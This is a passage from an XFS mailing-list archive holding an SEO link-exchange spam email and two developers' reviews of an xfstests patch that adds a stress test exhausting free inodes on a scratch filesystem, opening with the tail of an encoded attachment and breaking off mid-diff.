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 ------=_NextPart_001_5520_62321B5A.1A747A5F-- From anne.virtanen@personaseo.org Wed Mar 19 10:04:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1F0267F81 for ; Wed, 19 Mar 2014 10:04:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E6CE4304048 for ; Wed, 19 Mar 2014 08:04:54 -0700 (PDT) X-ASG-Debug-ID: 1395241487-04bdf076f0411c30001-NocioJ Received: from mail.greekseo.net ([107.161.16.189]) by cuda.sgi.com with ESMTP id GgfUmZWOnNh9JgRk for ; Wed, 19 Mar 2014 08:04:48 -0700 (PDT) X-Barracuda-Envelope-From: anne.virtanen@personaseo.org X-Barracuda-Apparent-Source-IP: 107.161.16.189 Date: Wed, 19 Mar 2014 15:02:34 +0000 To: xfs@oss.sgi.com From: Anne Virtanen Subject: Ilmainen linkkien vaihto X-Priority: 3 X-ASG-Orig-Subj: Ilmainen linkkien vaihto MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_3d70efe8be2604f54802c3f1678a5f34" X-Barracuda-Connect: UNKNOWN[107.161.16.189] X-Barracuda-Start-Time: 1395241488 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4061 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20140319150453.B5052A4217D@cuda.sgi.com> --b1_3d70efe8be2604f54802c3f1678a5f34 Content-Type: text/plain; charset = "UTF-8" Content-Transfer-Encoding: 8bit Hei, Nimeni on anne, Haluaisin ehdottaa ilmaista linkkien vaihtoa oss.sgi.com -sivustosi tai muun omistamasi sivuston kanssa. Tulet varmasti ilahtumaan kuullessasi, että minulla on nyt useita tuottoisia laatuprojekteja ilmaista linkkien vaihtoa varten, joiden uskon hyödyttävän meitä molempia. Ilmoitathan minulle, jos olet kiinnostunut kuulemaan lisää yksityiskohtia tai sinulla muuta mielessä aiheeseen liittyen. Vastaustasi odottaen, Anne Virtanen http://finlandseo.com http://www.linkedin.com/pub/anne-virtanen/7b/b19/109 --b1_3d70efe8be2604f54802c3f1678a5f34 Content-Type: text/html; charset = "UTF-8" Content-Transfer-Encoding: 8bit

Hei,

Nimeni on anne,

Haluaisin ehdottaa ilmaista linkkien vaihtoa oss.sgi.com -sivustosi tai muun omistamasi sivuston kanssa.
Tulet varmasti ilahtumaan kuullessasi, että minulla on nyt useita tuottoisia laatuprojekteja ilmaista linkkien vaihtoa varten,
joiden uskon hyödyttävän meitä molempia.

Ilmoitathan minulle, jos olet kiinnostunut kuulemaan lisää yksityiskohtia tai sinulla muuta mielessä aiheeseen liittyen.

Vastaustasi odottaen,

Anne Virtanen
http://finlandseo.com
http://www.linkedin.com/pub/anne-virtanen/7b/b19/109
--b1_3d70efe8be2604f54802c3f1678a5f34-- From david@fromorbit.com Wed Mar 19 19:14:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B462F7F6F for ; Wed, 19 Mar 2014 19:14:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 89FE3304062 for ; Wed, 19 Mar 2014 17:14:34 -0700 (PDT) X-ASG-Debug-ID: 1395274472-04cb6c56756cbab0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id frXAH0FXmsH4qPTt for ; Wed, 19 Mar 2014 17:14:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AghSAFoxKlN5LMWSPGdsb2JhbABagwaDR4UMuwyBHBcDAQEBATg1giUBAQEEOhwjEAgDDgoJJQ8FJQMHGhOHeNA5FxaOTweEOASOUIl2lXIp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Mar 2014 10:44:30 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WQQcv-0003VS-5E; Thu, 20 Mar 2014 11:14:29 +1100 Date: Thu, 20 Mar 2014 11:14:29 +1100 From: Dave Chinner To: Eryu Guan Cc: xfs@oss.sgi.com Subject: Re: [PATCH] shared: new test to use up free inodes Message-ID: <20140320001429.GI7072@dastard> X-ASG-Orig-Subj: Re: [PATCH] shared: new test to use up free inodes References: <1395221269-11085-1-git-send-email-eguan@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1395221269-11085-1-git-send-email-eguan@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1395274472 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Wed, Mar 19, 2014 at 05:27:49PM +0800, Eryu Guan wrote: > Stress test fs by using up all inodes and check fs. > > Also a regression test for xfsprogs commit > d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() > > Signed-off-by: Eryu Guan > --- > tests/shared/006 | 96 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/shared/006.out | 2 ++ > tests/shared/group | 1 + > 3 files changed, 99 insertions(+) > create mode 100755 tests/shared/006 > create mode 100644 tests/shared/006.out > > diff --git a/tests/shared/006 b/tests/shared/006 > new file mode 100755 > index 0000000..a3b13b6 > --- /dev/null > +++ b/tests/shared/006 > @@ -0,0 +1,96 @@ > +#! /bin/bash > +# FS QA Test No. shared/006 > +# > +# Stress test fs by using up all inodes and check fs. > +# > +# Also a regression test for xfsprogs commit > +# d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Red Hat Inc. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > +} > + > +create_file() > +{ > + local dir=$1 > + local nr_file=$2 > + local prefix=$3 > + local i=0 > + > + while [ $i -lt $nr_file ]; do > + touch $dir/${prefix}_${i} echo -n > $dir/${prefix}_${i} will create a zero length file without needing to fork/exec and so will have much lower overhead and create the files significantly faster. > + let i=$i+1 > + done > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs ext4 ext3 ext2 xfs > +_supported_os Linux > + > +_require_scratch > + > +rm -f $seqres.full > +echo "Silence is golden" > + > +_scratch_mkfs_sized $((1024 * 1024 * 1024)) >>$seqres.full 2>&1 > +_scratch_mount If this is going to be a stress test, you should add a scale factor into this. > + > +i=0 > +free_inode=`df -iP $SCRATCH_MNT | tail -1 | awk '{print $2}'` $DF_PROG > +loop=$((free_inode / 1000 + 1)) And probably a LOAD_FACTOR into this to scale parallelism. > +mkdir -p $SCRATCH_MNT/testdir > + > +echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full > +while [ $i -lt $loop ]; do > + create_file $SCRATCH_MNT/testdir 1000 $i >>$seqres.full 2>&1 & > + let i=$i+1 > +done > +wait On XFS, that will create at least 500 threads creating 1000 inodes each all in the same directory. This doesn't give you any extra parallelism at all over just creating $free_inode files in a single directory with a single thread. Indeed, it will probably be slower due to the contention on the directory mutex. If you want to scale this in terms of parallelism to keep the creation time down, each loop needs to write into a different directory. i.e. something like: echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full while [ $i -lt $loop ]; do mkdir -p $SCRATCH_MNT/testdir/$i create_file $SCRATCH_MNT/testdir/$i 1000 $i >>$seqres.full 2>&1 & let i=$i+1 done wait And even then I'd suggest that you'd be much better off with 10,000 files to a sub-directory.... > +# log inode status in $seqres.full for debug purpose > +echo "Inode status after taking all inodes" >>$seqres.full > +df -i $SCRATCH_MNT >>$seqres.full > + > +_check_scratch_fs > + > +# Check again after removing all the files > +rm -rf $SCRATCH_MNT/testdir That can be parallelised as well when you have multiple subdirs: for d in $SCRATCH_MNT/testdir/*; do rm -rf $d & done wait Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Wed Mar 19 19:22:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 430A57F6D for ; Wed, 19 Mar 2014 19:22:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CE6D3AC007 for ; Wed, 19 Mar 2014 17:22:45 -0700 (PDT) X-ASG-Debug-ID: 1395274963-04cbb054b64d8610001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id W7T84UlNXF6Frn1r for ; Wed, 19 Mar 2014 17:22:43 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 61082602D745; Wed, 19 Mar 2014 19:22:43 -0500 (CDT) Message-ID: <532A34D3.8060805@sandeen.net> Date: Wed, 19 Mar 2014 19:22:43 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Eryu Guan , xfs@oss.sgi.com Subject: Re: [PATCH] shared: new test to use up free inodes References: <1395221269-11085-1-git-send-email-eguan@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] shared: new test to use up free inodes In-Reply-To: <1395221269-11085-1-git-send-email-eguan@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1395274963 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4076 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 3/19/14, 4:27 AM, Eryu Guan wrote: > Stress test fs by using up all inodes and check fs. > > Also a regression test for xfsprogs commit > d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() Thanks Eryu. I had started to write this test but ran into another bug (where xfs blows past the maximum inode space %) so got distracted. I see Dave's already picked apart the patch so I won't comment specifically on it, but you might be aware of the possibility that xfs won't stop when we hit the default imaxpct, and may actually fill the entire fs. That's not necessarily a problem but it may take longer than you expect. I also wonder what's necessary to actually test the sibling pointer problem; on xfs, it's probably just a sufficiently large directory, not necessarily a full fs? -Eric > Signed-off-by: Eryu Guan > --- > tests/shared/006 | 96 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/shared/006.out | 2 ++ > tests/shared/group | 1 + > 3 files changed, 99 insertions(+) > create mode 100755 tests/shared/006 > create mode 100644 tests/shared/006.out > > diff --git a/tests/shared/006 b/tests/shared/006 > new file mode 100755 > index 0000000..a3b13b6 > --- /dev/null > +++ b/tests/shared/006 > @@ -0,0 +1,96 @@ > +#! /bin/bash > +# FS QA Test No. shared/006 > +# > +# Stress test fs by using up all inodes and check fs. > +# > +# Also a regression test for xfsprogs commit > +# d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Red Hat Inc. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > +} > + > +create_file() > +{ > + local dir=$1 > + local nr_file=$2 > + local prefix=$3 > + local i=0 > + > + while [ $i -lt $nr_file ]; do > + touch $dir/${prefix}_${i} > + let i=$i+1 > + done > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs ext4 ext3 ext2 xfs > +_supported_os Linux > + > +_require_scratch > + > +rm -f $seqres.full > +echo "Silence is golden" > + > +_scratch_mkfs_sized $((1024 * 1024 * 1024)) >>$seqres.full 2>&1 > +_scratch_mount > + > +i=0 > +free_inode=`df -iP $SCRATCH_MNT | tail -1 | awk '{print $2}'` > +loop=$((free_inode / 1000 + 1)) > +mkdir -p $SCRATCH_MNT/testdir > + > +echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full > +while [ $i -lt $loop ]; do > + create_file $SCRATCH_MNT/testdir 1000 $i >>$seqres.full 2>&1 & > + let i=$i+1 > +done > +wait > + > +# log inode status in $seqres.full for debug purpose > +echo "Inode status after taking all inodes" >>$seqres.full > +df -i $SCRATCH_MNT >>$seqres.full > + > +_check_scratch_fs > + > +# Check again after removing all the files > +rm -rf $SCRATCH_MNT/testdir > +echo "Inode status after deleting all test files" >>$seqres.full > +df -i $SCRATCH_MNT >>$seqres.full > +_check_scratch_fs > + > +status=0 > +exit > diff --git a/tests/shared/006.out b/tests/shared/006.out > new file mode 100644 > index 0000000..675c1b7 > --- /dev/null > +++ b/tests/shared/006.out > @@ -0,0 +1,2 @@ > +QA output created by 006 > +Silence is golden > diff --git a/tests/shared/group b/tests/shared/group > index 29f17b0..230e560 100644 > --- a/tests/shared/group > +++ b/tests/shared/group > @@ -8,6 +8,7 @@ > 003 auto quick prealloc > 004 